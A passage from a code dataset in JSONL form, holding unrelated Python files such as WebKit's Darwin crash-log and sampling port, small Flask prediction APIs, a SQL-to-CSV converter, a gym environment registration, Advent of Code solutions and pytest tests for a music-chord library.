self.host.filesystem.join(log_directory, 'CrashReporter')\n\n def _merge_crash_logs(self, logs, new_logs, crashed_processes):\n for test, crash_log in new_logs.items():\n try:\n if test.split('-')[0] == 'Sandbox':\n process_name = test.split('-')[1]\n pid = int(test.split('-')[2])\n else:\n process_name = test.split('-')[0]\n pid = int(test.split('-')[1])\n except (IndexError, ValueError):\n continue\n if not any(entry[1] == process_name and entry[2] == pid for entry in crashed_processes):\n # if this is a new crash, then append the logs\n logs[test] = crash_log\n return logs\n\n def _look_for_all_crash_logs_in_log_dir(self, newer_than):\n crash_log = CrashLogs(self.host, self.path_to_crash_logs(), crash_logs_to_skip=self._crash_logs_to_skip_for_host.get(self.host, []))\n return crash_log.find_all_logs(newer_than=newer_than)\n\n def _get_crash_log(self, name, pid, stdout, stderr, newer_than, time_fn=None, sleep_fn=None, wait_for_log=True, target_host=None):\n # Note that we do slow-spin here and wait, since it appears the time\n # ReportCrash takes to actually write and flush the file varies when there are\n # lots of simultaneous crashes going on.\n time_fn = time_fn or time.time\n sleep_fn = sleep_fn or time.sleep\n crash_log = ''\n crash_logs = CrashLogs(target_host or self.host, self.path_to_crash_logs(), crash_logs_to_skip=self._crash_logs_to_skip_for_host.get(target_host or self.host, []))\n now = time_fn()\n deadline = now + 5 * int(self.get_option('child_processes', 1))\n while not crash_log and now <= deadline:\n crash_log = crash_logs.find_newest_log(name, pid, include_errors=True, newer_than=newer_than)\n if not wait_for_log:\n break\n if not crash_log or not [line for line in crash_log.splitlines() if not line.startswith('ERROR')]:\n sleep_fn(0.1)\n now = time_fn()\n\n if not crash_log:\n return (stderr, None)\n return (stderr, crash_log)\n\n def look_for_new_crash_logs(self, crashed_processes, start_time):\n \"\"\"Since crash logs can take a long time to be written out if the system is\n under stress do a second pass at the end of the test run.\n\n crashes: test_name -> pid, process_name tuple of crashed process\n start_time: time the tests started at. We're looking for crash\n logs after that time.\n \"\"\"\n crash_logs = {}\n for (test_name, process_name, pid) in crashed_processes:\n # Passing None for output. This is a second pass after the test finished so\n # if the output had any logging we would have already collected it.\n crash_log = self._get_crash_log(process_name, pid, None, None, start_time, wait_for_log=False)[1]\n if not crash_log:\n continue\n crash_logs[test_name] = crash_log\n all_crash_log = self._look_for_all_crash_logs_in_log_dir(start_time)\n return self._merge_crash_logs(crash_logs, all_crash_log, crashed_processes)\n\n def sample_process(self, name, pid, target_host=None):\n host = target_host or self.host\n tempdir = host.filesystem.mkdtemp()\n temp_tailspin_file_path = host.filesystem.join(str(tempdir), \"{0}-{1}-tailspin-temp.txt\".format(name, pid))\n command = [\n '/usr/bin/tailspin',\n 'save',\n '-n',\n temp_tailspin_file_path,\n ]\n if host.platform.is_mac():\n command = ['/usr/bin/sudo', '-n'] + command\n\n exit_status = host.executive.run_command(command, return_exit_code=True)\n if not exit_status: # Symbolicate tailspin log using spindump\n spindump_command = [\n '/usr/sbin/spindump',\n '-i', temp_tailspin_file_path,\n '-file', DarwinPort.tailspin_file_path(host, name, pid, str(tempdir)),\n ]\n try:\n exit_code = host.executive.run_command(spindump_command + ['-noBulkSymbolication'], return_exit_code=True)\n\n # FIXME: Remove the fallback when we no longer support Catalina.\n if exit_code:\n host.executive.run_command(spindump_command)\n host.filesystem.move_to_base_host(DarwinPort.tailspin_file_path(host, name, pid, str(tempdir)),\n DarwinPort.tailspin_file_path(self.host, name, pid, self.results_directory()))\n except (IOError, ScriptError, OSError) as e:\n _log.warning('Unable to symbolicate tailspin log of process:' + str(e))\n else: # Tailspin failed, run sample instead\n try:\n host.executive.run_command([\n '/usr/bin/sample',\n pid,\n 10,\n 10,\n '-file',\n DarwinPort.sample_file_path(host, name, pid, str(tempdir)),\n ])\n host.filesystem.move_to_base_host(DarwinPort.sample_file_path(host, name, pid, str(tempdir)),\n DarwinPort.sample_file_path(self.host, name, pid, self.results_directory()))\n except (ScriptError, OSError) as e:\n _log.warning('Unable to sample process:' + str(e))\n host.filesystem.rmtree(str(tempdir))\n\n @staticmethod\n def sample_file_path(host, name, pid, directory):\n return host.filesystem.join(directory, \"{0}-{1}-sample.txt\".format(name, pid))\n\n @staticmethod\n def tailspin_file_path(host, name, pid, directory):\n return host.filesystem.join(directory, \"{0}-{1}-tailspin.txt\".format(name, pid))\n\n def look_for_new_samples(self, unresponsive_processes, start_time):\n sample_files = {}\n for (test_name, process_name, pid) in unresponsive_processes:\n sample_file = DarwinPort.sample_file_path(self.host, process_name, pid, self.results_directory())\n if self._filesystem.isfile(sample_file):\n sample_files[test_name] = sample_file\n else:\n tailspin_file = DarwinPort.tailspin_file_path(self.host, process_name, pid, self.results_directory())\n if self._filesystem.isfile(tailspin_file):\n sample_files[test_name] = tailspin_file\n return sample_files\n\n @decorators.Memoize()\n def _path_to_image_diff(self):\n # ImageDiff for DarwinPorts is a little complicated. It will either be in\n # a directory named ../mac relative to the port build directory, in a directory\n # named ../ relative to the port build directory or in the port build directory\n _image_diff_in_build_path = super(DarwinPort, self)._path_to_image_diff()\n _port_build_dir = self.host.filesystem.dirname(_image_diff_in_build_path)\n\n # Test ../mac\n _path_to_test = self.host.filesystem.join(_port_build_dir, '..', 'mac', 'ImageDiff')\n if self.host.filesystem.exists(_path_to_test):\n return _path_to_test\n\n # Test ../\n _build_type = self.host.filesystem.basename(_port_build_dir).split('-')[0]\n _path_to_test = self.host.filesystem.join(_port_build_dir, '..', _build_type, 'ImageDiff')\n if self.host.filesystem.exists(_path_to_test):\n return _path_to_test\n\n return _image_diff_in_build_path\n\n def make_command(self):\n return self.xcrun_find('make', '/usr/bin/make')\n\n def xcrun_find(self, command, fallback=None):\n fallback = fallback or command\n try:\n return self._executive.run_command(['xcrun', '--sdk', self.SDK, '-find', command]).rstrip()\n except ScriptError:\n _log.warn(\"xcrun failed; falling back to '%s'.\" % fallback)\n return fallback\n\n @memoized\n def _plist_data_from_bundle(self, app_bundle, entry):\n plist_path = self._filesystem.join(app_bundle, 'Info.plist')\n if not self._filesystem.exists(plist_path):\n plist_path = self._filesystem.join(app_bundle, 'Contents', 'Info.plist')\n if not self._filesystem.exists(plist_path):\n return None\n return self._executive.run_command(['/usr/libexec/PlistBuddy', '-c', 'Print {}'.format(entry), plist_path]).rstrip()\n\n def app_identifier_from_bundle(self, app_bundle):\n return self._plist_data_from_bundle(app_bundle, 'CFBundleIdentifier')\n\n def app_executable_from_bundle(self, app_bundle):\n return self._plist_data_from_bundle(app_bundle, 'CFBundleExecutable')\n\n def environment_for_api_tests(self):\n environment = super(DarwinPort, self).environment_for_api_tests()\n build_root_path = str(self._build_path())\n for name in ['DYLD_LIBRARY_PATH', '__XPC_DYLD_LIBRARY_PATH', 'DYLD_FRAMEWORK_PATH', '__XPC_DYLD_FRAMEWORK_PATH']:\n self._append_value_colon_separated(environment, name, build_root_path)\n return environment\n\n def stderr_patterns_to_strip(self):\n worthless_patterns = super(DarwinPort, self).stderr_patterns_to_strip()\n # Suppress log message from \n worthless_patterns.append((re.compile('.*nil host used in call to allows.+HTTPSCertificateForHost.*\\n'), ''))\n return worthless_patterns\n","repo_name":"WebKit/WebKit","sub_path":"Tools/Scripts/webkitpy/port/darwin.py","file_name":"darwin.py","file_ext":"py","file_size_in_byte":13127,"program_lang":"python","lang":"en","doc_type":"code","stars":6880,"dataset":"github-code","pt":"3"} +{"seq_id":"33330187406","text":"from cgi import print_environ\nfrom curses.ascii import BS\nimport pathlib\nimport os\nimport os.path\nfrom PIL import Image\nimport cv2\nimport csv \n \ndef calculaProm(img):\n y,x,d = img.shape\n\n bSum = 0\n gSum = 0\n rSum = 0\n\n\n for j in range(y):\n for i in range(x):\n bSum += img[j,i,0]\n gSum += img[j,i,1]\n rSum += img[j,i,2]\n\n bProm = bSum/(x*y)\n gProm = gSum/(x*y)\n rProm = rSum/(x*y)\n return [bProm, gProm, rProm]\n\nentrada = int(input(\"introduce el numero de fotos que tiene tu archivo ImagenesProcesar\"))\nprint(\"introuce la ruta completa del directorio donde te ecuentras\")\nprint(\"ejemplo\")\nprint(\"Linux: /home/marco/Documents/\")\nprint(\"Windos: C:usrs/marco/Documents/\")\n\npath = input()\n\nprint(\"Se creara un archivo llamado base,csv donde se guardara el promedio rgb por cada imagen procesada\")\n\nwith open('base.csv', 'w', encoding='UTF8') as f:\n writer = csv.writer(f)\n for i in range(entrada):\n imagen = cv2.imread(\"{}ImagenesProcesadas/{}.jpg\".format(path,i))\n prom = calculaProm(imagen)\n prom = [i] + prom\n writer.writerow(prom)\n","repo_name":"marcoantonio1999/Proceso-Digital-de-Imagenes","sub_path":"Tarea10/creaBase.py","file_name":"creaBase.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"74097017361","text":"import collections\nimport random\nimport tensorflow as tf\n\ndef _int64_feature(value):\n return tf.train.Feature(int64_list=tf.train.Int64List(value=[value]))\n\n\ndef write_skipgrams_to_tfrecord(data, writer, num_skips=1, skip_window=2):\n \"\"\"\n Writes a list of tokens to a TFRecordWriter\n :param data: list of tokens\n :param writer: TFRecordWriter to write into\n :param num_skips: How many examples to extract from a target\n :param skip_window: skipgram window\n :return: null\n \"\"\"\n assert num_skips <= 2 * skip_window\n data_index = 0\n span = 2 * skip_window + 1\n print(\"creating skipgram tfrecords\")\n while data_index + span < len(data):\n buffer = collections.deque(maxlen=span)\n buffer.extend(data[data_index: data_index + span])\n target = skip_window\n targets_to_avoid = [skip_window]\n for j in range(num_skips):\n while target in targets_to_avoid:\n target = random.randint(0, span - 1)\n targets_to_avoid.append(target)\n # input is the centre of buffer\n input_data = buffer[skip_window]\n # output is the target we trying to predict\n target_data = buffer[target]\n # create tfrecord example\n feature = {\n 'input': _int64_feature(input_data),\n 'target': _int64_feature(target_data)\n }\n example = tf.train.Example(features=tf.train.Features(feature=feature))\n writer.write(example.SerializeToString())\n data_index += 1\n print(\"done writing skipgram tfrecords file\")\n\n\n","repo_name":"athulvijayan6/languagedatasets","sub_path":"preprocessing/skipgram_preprocess.py","file_name":"skipgram_preprocess.py","file_ext":"py","file_size_in_byte":1613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"19842559681","text":"import os\n#creators -----Ronen heifetz , Markovich Leon -----\n\n#finding full tables for which be counted in the excel\ndef insertIntoExists(section):\n return section.find(\"INSERT INTO\") != -1\n\n#getting the titles from the usful tables\ndef getTitles(section):\n i = 0 \n temp = []\n while section[i][0] == '`':\n #get section of row in between ` ` to get titles\n temp.append(section[i][1:str(section[i][1:]).find('`')+1] + ',')\n i += 1\n return temp\n\n#returns the tables data\ndef getData(section):\n\toutput =[]\n\tfor line in section:\n\t\tif line.startswith(\"INSERTINTO\"):\n\t\t\toutput=line.split('(')\n\t\t\toutput=output[1:]\n\t\t\toutput=[x[:-2] for x in output] \n\treturn output\n#creating a new csv file from the table names \ndef createCsvFile(fileName):\n\tpath = 'csvFiles/' + fileName + '.csv'\n\treturn open(path,'w')\n\n#main open\nos.mkdir('csvFiles') #creates a folder for all the files\nsqlFile = open('demo.sql', 'r')\ncontent = sqlFile.read()\nsqlFile.close() #closing the sql file not needed after making it a string\ntables = content.split(\"CREATE TABLE\") #spliting the content of the file by the tables with or without their values\n\nfiltered2 = list(filter(insertIntoExists, tables))\nfor i in filtered2:\n tablesWithoutSpaces=i.replace(\" \", \"\").split('\\n') #removes unnecesry tables without conetnt \n titles=getTitles(tablesWithoutSpaces) #the name is located in the first tile and the table \n table = titles[1:] # the rest of the titles\n outputFile=createCsvFile(str(titles[0])[:-1])\n outputFile.write(','.join(([x[:-1] for x in table]))+'\\n\\n'+('\\n\\n'.join(getData(tablesWithoutSpaces)))) # sepeating the list of titles without ' \n outputFile.close() #closing each opened file\n\n#main close\n","repo_name":"ronehe/SQL-to-CSV-converter","sub_path":"converter.py","file_name":"converter.py","file_ext":"py","file_size_in_byte":1731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"42185298876","text":"\"\"\" Вычислить результат деления двух чисел c заданной точностью d\n\nПример:\n\n- при $d = 0.001, π = 3.141.$ $10^{-1} ≤ d ≤10^{-10}$ \"\"\"\n\n\n\"\"\"from cmath import pi\nd = float(input('Введите необходимую точность вычисления: '))\n\ndef find_num(d):\n print(pi)\n counted = 0\n while d < 1:\n d = d*10\n counted += 1\n print(counted)\n num = pi\n print(num)\n num = round(num, counted)\n print(num)\n print(num)\n\n\nfind_num(d)\n \"\"\"\na = float(input('Введите число 1: '))\nb = float(input('Введите число 1: '))\nd = float(input('Введите необходимую точность вычисления: '))\n\n\ndef find_num(a, b, d):\n counted = 0\n while d < 1:\n d = d*10\n counted += 1\n c = round(a/b, counted)\n print(c)\n\n\nfind_num(a, b, d)\n","repo_name":"Sergey2604/Python","sub_path":"Семинары/4 урок/ДЗ/task1.py","file_name":"task1.py","file_ext":"py","file_size_in_byte":910,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"69832280723","text":"from backend import *\nfrom model import *\ndef add_new_question():\n Question_payload=api.payload\n ques_status= \"\"\n k=ques_collection.find().count()+1\n k=str(k)\n j=ques_collection.insert({\"_id\":k})\n z=ques_collection.update({\"_id\":k},Question_payload)\n if z:\n return True\n else:\n return False\n\ndef add_new_answer():\n ans_status=\"\"\n answer_payload=api.payload\n k=ans_collection.find().count()+1\n k=str(k)\n j=ans_collection.insert({\"_id\":k})\n y=ans_collection.update({\"_id\":k},answer_payload)\n if y:\n return True\n else:\n return False \n\ndef get_all():\n all=[]\n quest=json.loads(dumps(ques_collection.find()))\n ans=json.loads(dumps(ans_collection.find({},{\"_id\":False}))) \n for i in range(0,len(quest)):\n\t question = quest[i]\n\t question[\"answers\"] = []\n\t for j in range(0,len(ans)):\n\t\t if ans[j][\"qid\"]==question[\"_id\"]:\n\t\t\t question[\"answers\"].append(ans[j]) \n all.append(quest)\n ns1.logger.debug(\"Get all the Entries\") \n return quest\n\n\n\ndef search_by_id(_id):\n qid=_id\n print(qid)\n logging.getLogger(_id)\n #all=[]\n #ans_collection.find().count()\n t=ques_collection.find().count()\n t=str(t)\n if(qid<=t):\n quest=json.loads(dumps(ques_collection.find({\"_id\":_id})))\n ans=json.loads(dumps(ans_collection.find({\"qid\":qid})))\n question=quest[0]\n question[\"answers\"]=[]\n for j in range(0,len(ans)):\n if ans[j][\"qid\"]==question[\"_id\"]:\n question[\"answers\"].append(ans[j])\n #all.append(quest)\n \n return quest[0]\n else:\n\n return (\"Please Enter Correct Id\") \n\ndef search_by_topic():\n l=[]\n v=[]\n new_l1=[]\n p=[]\n all=[]\n k=eval(dumps(api.payload)) \n for i in k.values(): \n l.append(i)\n q1=l[0]\n q1=list(q1)\n #print(l,q1) \n for i in range (0,len(q1)):\n output=ques_collection.find({\"topic\":q1[i]})\n k=json.loads(dumps(output))\n v.append(k)\n #print(v) \n for i in range (0,len(v)):\n new_l1.append(v[i][0])\n #print(v[i][0])\n for i in range (0,len(new_l1)):\n p.append(new_l1[i][\"_id\"])\n p=set(p)\n p=list(p) \n \n for i in range(0,len(p)):\n \n ans=json.loads(dumps(ans_collection.find({\"qid\":p[i]})))\n quest=json.loads(dumps(ques_collection.find({\"_id\":p[i]})))\n question=quest[0]\n question[\"answer\"]=[]\n for j in range(0,len(ans)):\n question[\"answer\"].append(ans[j])\n all.append(quest)\n ns1.logger.info(\"You are searching by Topic\")\n return all\n\n \n\n","repo_name":"Devendra-97/Flask_app","sub_path":"EndpointsRequest.py","file_name":"EndpointsRequest.py","file_ext":"py","file_size_in_byte":2678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"1385966656","text":"\nfrom flask import Flask\nfrom flask import request\nimport lisp\n\napp = Flask(__name__)\n\n@app.route('/',methods=['GET','POST'])\ndef root():\n if request.method=='GET':\n return 'Method GET'\n elif request.method=='POST':\n command = request.get_data().decode('utf8')\n result, error = lisp.execute_request(command)\n if not error:\n return result\n return result,500\n\n\n# -----------------------------------\n\n\nif __name__ == \"__main__\":\n app.run(host='0.0.0.0',port=8000)\n\n\n\n","repo_name":"sipavlovic/lisp_in_python","sub_path":"run_flask.py","file_name":"run_flask.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"15603910473","text":"\"\"\"\nA profile for setting up development environment of ml-fabric.\n\nInstructions:\n Space holder for parameter descriptions.\n\"\"\"\n\nimport os\nfrom enum import Enum\nimport geni.portal as portal\nimport geni.rspec.pg as rspec\n\n\ndef add_host(hostname, request):\n node = request.RawPC(hostname)\n node.disk_image = \"urn:publicid:IDN+emulab.net+image+emulab-ops:UBUNTU16-64-STD\"\n node.addService(\n rspec.Execute(\n shell=\"sh\",\n command=\"sudo %s\" % (\n os.path.join(SCRIPTS_FOLDER, \"setup-disks-cloudlab-wisc.sh\"),\n )\n )\n )\n node.addService(\n rspec.Execute(\n shell=\"sh\",\n command=\"sudo %s\" % (\n os.path.join(SCRIPTS_FOLDER, \"init-dev.sh\"),\n )\n )\n )\n\n\nSCRIPTS_FOLDER = os.path.join(\"/local\", \"repository\", \"scripts\")\nrequest = portal.context.makeRequestRSpec()\nadd_host(\"mlfabric-dev\", request)\nportal.context.printRequestRSpec()\n","repo_name":"raajay/fabric-dev","sub_path":"profile.py","file_name":"profile.py","file_ext":"py","file_size_in_byte":961,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"746688157","text":"def solution(routes):\n answer = 0\n routes.sort(key=lambda x:x[1])\n n = len(routes)\n checked = [0] * n\n\n for i in range(n):\n if checked[i] == 0:\n camera = routes[i][1] # 진출 지점에 카메라를 갱신\n answer += 1\n for j in range(i+1, n):\n if routes[j][0] <= camera <= routes[j][1] and checked[j] == 0:\n checked[j] = 1\n return answer\n\nsolution([[-20,-15], [-14,-5], [-18,-13], [-5,-3]])","repo_name":"qbinee/Baekjoon","sub_path":"programmers/단속카메라.py","file_name":"단속카메라.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"38687706997","text":"from gym.envs.registration import register\nimport numpy as np\n\n# (x,y)\nidx_to_goal = [ (np.array([230.0, 430.0]), np.array([230.0, 130.0]), np.array([500.0, 430.0]) )] * 10\nidx_to_goal[1] = (np.array([130.0, 370.0]), np.array([130.0, 110.0]), np.array([520.0, 250.0]) )\nidx_to_goal[2] = (np.array([530.0, 110.0]), np.array([130.0, 310.0]), np.array([460.0, 330.0]) )\nidx_to_goal[3] = (np.array([400.0, 50.0]), np.array([180.0, 320.0]), np.array([430.0, 310.0]) )\nidx_to_goal[4] = (np.array([180.0, 380.0]), np.array([610.0, 120.0]), np.array([420.0, 330.0]) )\nidx_to_goal[5] = (np.array([500.0, 90.0]), np.array([180.0, 390.0]), np.array([380.0, 320.0]) )\nidx_to_goal[6] = (np.array([480.0, 150.0]), np.array([440.0, 380.0]), np.array([310.0, 220.0]) )\nidx_to_goal[7] = (np.array([500.0, 380.0]), np.array([470.0, 280.0]), np.array([270.0, 280.0]) )\nidx_to_goal[8] = (np.array([250.0, 440.0]), np.array([420.0, 200.0]), np.array([150.0, 180.0]) )\nidx_to_goal[9] = (np.array([390.0, 110.0]), np.array([520.0, 350.0]), np.array([240.0, 310.0]) ) \n\nfor i in range(10):\n\n register(\n id='Limited-Range-Based-Follower-2d-Map%d-v0' % i,\n entry_point='gym_follower_2d.envs:LimitedRangeBasedFollowing2DEnv',\n max_episode_steps=1000,\n kwargs=dict(world_idx=i, destinations = idx_to_goal[i])\n )\n\n register(\n id='State-Based-Follower-2d-Map%d-v0' % i,\n entry_point='gym_follower_2d.envs:StateBasedFollowing2DEnv',\n max_episode_steps=1000,\n kwargs=dict(world_idx=i, destinations = idx_to_goal[i])\n )\n\n \n register(\n id='Image-Based-Follower-2d-Map%d-v0' % i,\n entry_point='gym_follower_2d.envs:ImageBasedFollowing2DEnv',\n max_episode_steps=1000,\n kwargs=dict(world_idx=i, destinations = idx_to_goal[i])\n )\n \n","repo_name":"florianshkurti/gym-follower-2d","sub_path":"gym_follower_2d/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1802,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"38790666912","text":"with open('input.txt','r') as f:\n rawDecks = f.read().split('\\n\\n')\n\n#Part 1\n\ndeck1 = [int(x) for x in rawDecks[0].strip().split('\\n')[1:]]\ndeck2 = [int(x) for x in rawDecks[1].strip().split('\\n')[1:]]\n\nwhile(not (len(deck1) == 0 or len(deck2) == 0)):\n card1 = deck1.pop(0)\n card2 = deck2.pop(0)\n newCards = [card1,card2]\n newCards.sort(reverse=True)\n if(card1>card2):\n deck1.extend(newCards)\n else:\n deck2.extend(newCards)\nprint(deck1)\nprint(deck2)\n\ncount = 0\nfor ind,x in enumerate(reversed(deck2)):\n count += x*(ind+1)\nprint(count)\n\n\n#Part 2\ndeck1 = [int(x) for x in rawDecks[0].strip().split('\\n')[1:]]\ndeck2 = [int(x) for x in rawDecks[1].strip().split('\\n')[1:]]\n\ndef areEqual(arr1,arr2):\n \n # If lengths of array are not\n # equal means array are not equal\n if (len(arr1) != len(arr2)):\n return False\n # Linearly compare elements\n for i in range(len(arr1)):\n if (arr1[i] != arr2[i]):\n return False\n \n # If all elements were same.\n return True\n \n\nrealGameStates = []\n#Returns True if Player 1 (deck1) won\ndef resolveGame(deck1,deck2):\n for decks in realGameStates:\n checkDeck1,checkDeck2 = decks['decks']\n if(areEqual(checkDeck1,deck1) and areEqual(checkDeck2,deck2)):\n #print('saved time')\n return decks['result']\n state = {}\n state['decks'] = (deck1.copy(),deck2.copy())\n gameStates = []\n while(not (len(deck1) == 0 or len(deck2) == 0)):\n for checkDeck1,checkDeck2 in gameStates:\n if(areEqual(checkDeck1,deck1) and areEqual(checkDeck2,deck2)):\n state['result'] = True\n realGameStates.append(state)\n return True\n gameStates.append((deck1.copy(),deck2.copy()))\n card1 = deck1.pop(0)\n card2 = deck2.pop(0)\n if(len(deck1) >= card1 and len(deck2) >= card2):\n if(resolveGame(deck1.copy()[:card1],deck2.copy()[:card2])):\n deck1.append(card1)\n deck1.append(card2)\n else:\n deck2.append(card2)\n deck2.append(card1)\n else:\n newCards = [card1,card2]\n newCards.sort(reverse=True)\n if(card1>card2):\n deck1.extend(newCards)\n else:\n deck2.extend(newCards)\n if(deck1==first):\n print(deck1,deck2)\n #input()\n state['result'] = (len(deck1) != 0)\n realGameStates.append(state)\n return (len(deck1) != 0)\nfirst = deck1\n\n#resolveGame(deck1,deck2)\nprint(deck1)\nprint(deck2)\nfinalArr = [34, 4, 15, 13, 29, 5, 33, 26, 50, 39, 45, 6, 32, 12, 30, 1, 47, 19, 41, 8, 18, 9, 10, 2, 49, 16, 28, 7, 43, 38, 21, 20, 48, 37, 25, 14, 22, 3, 42, 17, 27, 11, 46, 36, 44, 24, 40, 31, 35, 23]\ncount = 0\nfor ind,x in enumerate(reversed(finalArr)):\n count += x*(ind+1)\nprint(count)","repo_name":"NukeWolf/Advent-Of-Code-2020-Nukewolf","sub_path":"22/time to deul.py","file_name":"time to deul.py","file_ext":"py","file_size_in_byte":2874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"3164078262","text":"import flask_restful\n\nfrom .representations.json import output_json\n\n\n_errors = {\n 'AuthenticationError': {\n 'message': \"Authentication Error\",\n 'status': 403,\n }\n}\n\n\nclass Api(flask_restful.Api):\n def __init__(self, *args, **kwargs):\n super(Api, self).__init__(*args, **kwargs)\n self.representations.update({\n 'application/json': output_json,\n })\n self.errors = _errors\n","repo_name":"naoki912/example-is09","sub_path":"src/common/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"42831622480","text":"import pytest\n\nfrom minhas_notas_musicais.acordes import Acorde, Nota\n\n\n@pytest.mark.parametrize(\n 'acorde',\n [\n 'A',\n 'A#',\n 'Am',\n 'A#m',\n 'Abm',\n 'Am7',\n 'A7+',\n 'Asus4',\n 'Amsus4',\n 'Asus4(9)',\n 'A7(9+)',\n 'Asus4(7)(9)(11)',\n ]\n)\ndef test_fazer_parse_de_acordes(acorde):\n assert str(Acorde.parse(acorde)) == acorde\n\n\n@pytest.mark.parametrize(\n 'acorde, intervalo, semitonado',\n [\n ('C', -12, 'C'),\n ('C', -11, 'C#'),\n ('C', -10, 'D'),\n ('C', -9, 'D#'),\n ('C', -8, 'E'),\n ('C', -7, 'F'),\n ('C', -6, 'F#'),\n ('C', -5, 'G'),\n ('C', -4, 'G#'),\n ('C', -3, 'A'),\n ('C', -2, 'A#'),\n ('C', -1, 'B'),\n ('C', 0, 'C'),\n ('C', 1, 'C#'),\n ('C', 2, 'D'),\n ('C', 3, 'D#'),\n ('C', 4, 'E'),\n ('C', 5, 'F'),\n ('C', 6, 'F#'),\n ('C', 7, 'G'),\n ('C', 8, 'G#'),\n ('C', 9, 'A'),\n ('C', 10, 'A#'),\n ('C', 11, 'B'),\n ('C', 12, 'C'),\n ]\n)\ndef test_semitom_retorna_corretamente(acorde, intervalo, semitonado):\n assert Acorde.parse(acorde).semitom(intervalo) == Acorde.parse(semitonado)\n\n\n@pytest.mark.parametrize(\n 'acorde, intervalo, semitonado',\n [\n ('C9', 0, 'C9'),\n ('C7', 0.5, 'C#7'),\n ('Cm7+', 1, 'Dm7+'),\n ('Csus4(9)', 1.5, 'D#sus4(9)'),\n ('Cmsus4(9)(11)', 2, 'Emsus4(9)(11)'),\n ]\n)\ndef test_tom_retorna_corretamente(acorde, intervalo, semitonado):\n assert Acorde.parse(acorde).tom(intervalo) == Acorde.parse(semitonado)\n\n\n@pytest.mark.parametrize(\n 'intervalo', (0.1, 0.2, 0.3, 0.4, 0.6, 0.7, 0.8, 0.9)\n)\ndef test_tom_deve_lancar_ValueError(intervalo):\n with pytest.raises(ValueError) as error_info:\n Acorde(Nota('C')).tom(intervalo)\n\n\ndef test_muda_tonalidade_do_acorde():\n assert -Acorde('C') == Acorde('C', 'menor')\n assert -Acorde('C', 'menor') == Acorde('C', 'maior')\n","repo_name":"Lucashcr/minhas-notas-musicais","sub_path":"tests/test_acordes.py","file_name":"test_acordes.py","file_ext":"py","file_size_in_byte":2007,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"16743529045","text":"from flask import Flask, render_template, request, jsonify\nfrom flask_cors import CORS\nimport pickle\nimport numpy as np\nfrom textblob import TextBlob\n\napp = Flask(__name__)\nCORS(app)\n\n@app.route(\"/\")\ndef index():\n print(\"index page\")\n return '350 projects'\n\n\n\n@app.route('/predict_salary',methods=['POST'])\ndef predict():\n model = pickle.load(open('salary_prediction.pkl', 'rb'))\n\n print(\"Req form\")\n print(request.form.values())\n\n int_features = [int(x) for x in request.form.values()]\n print(int_features)\n final_features = [np.array(int_features)]\n prediction = model.predict(final_features)\n\n output = round(prediction[0], 2)\n\n data = {\n \"status\":'ok',\n \"result\":output\n }\n\n return jsonify(data)\n\n\n\n@app.route('/predict_sentiment',methods=['POST'])\ndef sentiment_analysis():\n print(request.form)\n text=request.form['text']\n print(text)\n sentiment_score = TextBlob(text).sentiment.polarity\n data = {\n \"status\":\"ok\",\n \"result\":sentiment_score\n }\n return jsonify(data)","repo_name":"yashnirmal/word2vec-backend","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18598994133","text":"import pickle\nfrom flask import Flask,request\nfrom flask_cors import CORS,cross_origin\napp=Flask(__name__)\nCORS(app)\ncv=pickle.load(open(\"Cvmodel.sav\",'rb'))\nlr=pickle.load(open(\"Lrmodel.sav\",'rb'))\n#construction des routes(il est constitue d'un end point et de la methode)\n@app.route(\"/api/mail/\",methods=[\"GET\"])\n#on peut appeler la fontion ci bas comme on veut\ndef detector():\n mail=request.args.get(\"mail\")\n \n mail2 = cv.transform([mail])\n lab = lr.predict(mail2)\n \n return \"Spam\" if lab is 1 else \"Non Spam\"\n \nif __name__==\"__main__\":\n app.run(port=8000,debug=True)\n\n","repo_name":"wamacoul/python.github.io","sub_path":"TP3 back/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29023333317","text":"import pytest\n\nfrom mock import patch\n\nfrom idm.utils import reverse\nfrom idm.users.constants.user import USER_TYPES\nfrom idm.tests.utils import create_user\n\n\ndef test_yt_export(client, users_for_test):\n url = reverse('export_roles')\n\n response = client.get(url)\n assert response.status_code == 401\n\n client.login(users_for_test[0])\n response = client.get(url)\n assert response.status_code == 403\n\n tvm_app = create_user('123', type=USER_TYPES.TVM_APP)\n client.login(tvm_app)\n\n with patch('idm.api.testapi.yt.select_rows') as yt_client:\n yt_client.return_value = iter([{'blob': 'some_string'}])\n response = client.get(url)\n\n assert response.status_code == 200\n assert response.content == b'some_string'\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"Intranet/tests/api/testapi/test_yt.py","file_name":"test_yt.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"30114798122","text":"import math\n\ndef main ():\n a = int(input(\"Digite o número de a: \"))\n b 